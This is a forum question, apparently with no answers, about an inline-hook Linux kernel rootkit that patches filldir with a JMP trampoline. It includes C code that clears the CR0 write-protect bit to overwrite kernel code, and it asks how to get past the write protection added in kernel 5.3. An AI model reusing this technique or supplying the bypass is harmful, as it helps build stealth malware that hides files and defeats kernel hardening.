kernel Write Protection difference between 4.15 and 5.3

Viewed 120

I am writing a simple rootkit (just to learn how the kernel works ;)) that is hooking the filldir function in the kernel.

I am using the inline hook method - writing a JMP opcode in the beginning of the function.

the function looks like -

    struct sym_hook *sa;
    unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE];

    unsigned long o_cr0;

    // mov rax, $addr; jmp rax
    memcpy(n_code, "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0", HIJACK_SIZE);
    *(unsigned long *)&n_code[2] = (unsigned long)new;

    printk("Hooking function 0x%p with 0x%p\n", target, new);

    memcpy(o_code, target, HIJACK_SIZE);

    write_cr0(read_cr0() & (~ 0x10000));
    memcpy(target, n_code, HIJACK_SIZE);
    write_cr0(read_cr0() | 0x10000);

While compiling and testing on Ubuntu 16.04 (kernel 4.15) everything works just fine, but when using Ubuntu 19.10 (Kernel 5.3) - I get a crash every-time I insmod.

the crash is because of permissions when writing to protected memory - that means (I think so) that the write protection disabling line is not working (write_cr0(read_cr0() & (~ 0x10000));).

I didn't found any documentation explaining why it's not working on the new Kernel version, is it really a related to the kernel version? or I am doing something wrong ? My guess is that there was added some new protection method in the new version and the 'old' protection disabling is not working any more ...

also, if it's really kernel version issue, is there a way to disable that protection in the new kernel version?

btw, tried also disabling using this code -

  unsigned long cr0 = read_cr0();
  clear_bit(16, &cr0);
  asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
0 Answers
Related